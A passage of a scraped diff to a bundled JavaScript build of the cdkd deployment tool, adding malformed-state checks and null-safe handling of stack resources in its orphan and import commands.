const rewrittenProperties = await rewriteValue(resource.properties, `properties`, logicalId, orphanSet, fetcher, rewrites, unresolvable);
|
|
80961
81410
|
const rewrittenAttributes = resource.attributes ? await rewriteValue(resource.attributes, `attributes`, logicalId, orphanSet, fetcher, rewrites, unresolvable) : void 0;
|
|
@@ -81290,9 +81739,10 @@ async function orphanCommand(pathArgs, options) {
|
|
|
81290
81739
|
const stateData = await stateBackend.getState(stackInfo.stackName, targetRegion);
|
|
81291
81740
|
if (!stateData) throw new Error(`No state found for stack '${stackInfo.stackName}' (${targetRegion}). Nothing to orphan. (Did the stack get deployed?)`);
|
|
81292
81741
|
const { state, etag, migrationPending } = stateData;
|
|
81742
|
+
refuseMalformedState(state, stackInfo.stackName, targetRegion);
|
|
81293
81743
|
const missing = orphanLogicalIds.filter((id) => !(id in state.resources));
|
|
81294
81744
|
if (missing.length > 0) {
|
|
81295
|
-
const have = Object.keys(state.resources).join(", ");
|
|
81745
|
+
const have = Object.keys(state.resources ?? {}).join(", ");
|
|
81296
81746
|
throw new Error(`Resource(s) not in state for stack '${stackInfo.stackName}' (${targetRegion}): ${missing.join(", ")}.\nAvailable logical IDs: ${have}`);
|
|
81297
81747
|
}
|
|
81298
81748
|
const providerRegistry = new ProviderRegistry();
|
|
@@ -81868,6 +82318,7 @@ async function importCommand(stackArg, options) {
|
|
|
81868
82318
|
}
|
|
81869
82319
|
const existingResult = await stateBackend.getState(stackInfo.stackName, targetRegion);
|
|
81870
82320
|
const existingState = existingResult?.state ?? null;
|
|
82321
|
+
if (existingState) refuseMalformedState(existingState, stackInfo.stackName, targetRegion);
|
|
81871
82322
|
const existingEtag = existingResult?.etag;
|
|
81872
82323
|
const migrationPending = existingResult?.migrationPending ?? false;
|
|
81873
82324
|
if (existingState) {
|
|
@@ -81876,7 +82327,7 @@ async function importCommand(stackArg, options) {
|
|
|
81876
82327
|
} else {
|
|
81877
82328
|
const conflicts = [...overrides.keys()].filter((id) => Object.prototype.hasOwnProperty.call(existingState.resources, id));
|
|
81878
82329
|
if (conflicts.length > 0 && !options.force) throw new Error(`Selective import would overwrite resource(s) already in state: ${conflicts.join(", ")}. Pass --force to confirm the overwrite, or remove these IDs from --resource / --resource-mapping.`);
|
|
81879
|
-
const preservedCount = Object.keys(existingState.resources).filter((id) => !overrides.has(id)).length;
|
|
82330
|
+
const preservedCount = Object.keys(existingState.resources ?? {}).filter((id) => !overrides.has(id)).length;
|
|
81880
82331
|
logger.info(`Merging into existing state for ${stackInfo.stackName} (${targetRegion}): preserving ${preservedCount} unlisted resource(s)` + (conflicts.length > 0 ? `, overwriting ${conflicts.length} listed entry(ies)` : ""));
|
|
81881
82332
|
}
|
|
81882
82333
|
}
|
|
@@ -81937,7 +82388,7 @@ async function importCommand(stackArg, options) {
|
|
|
81937
82388
|
}
|
|
81938
82389
|
if (!options.yes) {
|
|
81939
82390
|
const importedCount = importedRows.length;
|
|
81940
|
-
const preservedCount = selectiveMode && existingState ? Object.keys(existingState.resources).filter((id) => !overrides.has(id)).length : 0;
|
|
82391
|
+
const preservedCount = selectiveMode && existingState ? Object.keys(existingState.resources ?? {}).filter((id) => !overrides.has(id)).length : 0;
|
|
81941
82392
|
const totalAfter = importedCount + preservedCount;
|
|
81942
82393
|
const breakdown = preservedCount > 0 ? ` (${importedCount} new/overwritten + ${preservedCount} preserved)` : "";
|
|
81943
82394
|
if (!await confirmPrompt(`Write state for ${stackInfo.stackName} (${targetRegion}) with ${totalAfter} resource(s)${breakdown}?`)) {
|
|
@@ -82504,7 +82955,7 @@ function defaultOnlyParameterTemplate(template) {
|
|
|
82504
82955
|
*/
|
|
82505
82956
|
async function resolveImportedProperties(stackState, template, region, stateBackend, logger) {
|
|
82506
82957
|
const unsafeObservedBaselineLogicalIds = /* @__PURE__ */ new Set();
|
|
82507
|
-
const entries = Object.entries(stackState.resources);
|
|
82958
|
+
const entries = Object.entries(stackState.resources ?? {});
|
|
82508
82959
|
if (entries.length === 0) return unsafeObservedBaselineLogicalIds;
|
|
82509
82960
|
const resolver = new IntrinsicFunctionResolver(region);
|
|
82510
82961
|
let parameters = {};
|
|
@@ -82920,7 +83371,7 @@ const NO_RECORDED_SECRETS = /* @__PURE__ */ new Map();
|
|
|
82920
83371
|
* [#2828](https://github.com/go-to-k/cdkd/issues/2828)).
|
|
82921
83372
|
*/
|
|
82922
83373
|
async function captureObservedForImportedResources(stackState, providerRegistry, logger, unsafeObservedBaselineLogicalIds, rebuiltLogicalIds) {
|
|
82923
|
-
const entries = Object.entries(stackState.resources);
|
|
83374
|
+
const entries = Object.entries(stackState.resources ?? {});
|
|
82924
83375
|
if (entries.length === 0) return;
|
|
82925
83376
|
await Promise.all(entries.map(async ([logicalId, resource]) => {
|
|
82926
83377
|
if (resource.observedBaselineRefused === true && !rebuiltLogicalIds.has(logicalId)) {
|
|
@@ -92457,4 +92908,4 @@ function buildProgram() {
|
|
|
92457
92908
|
|
|
92458
92909
|
//#endregion
|
|
92459
92910
|
export { buildProgram };
|
|
92460
|
-
//# sourceMappingURL=program-
|
|
92911
|
+
//# sourceMappingURL=program-Cl3fCD6-.js.map
|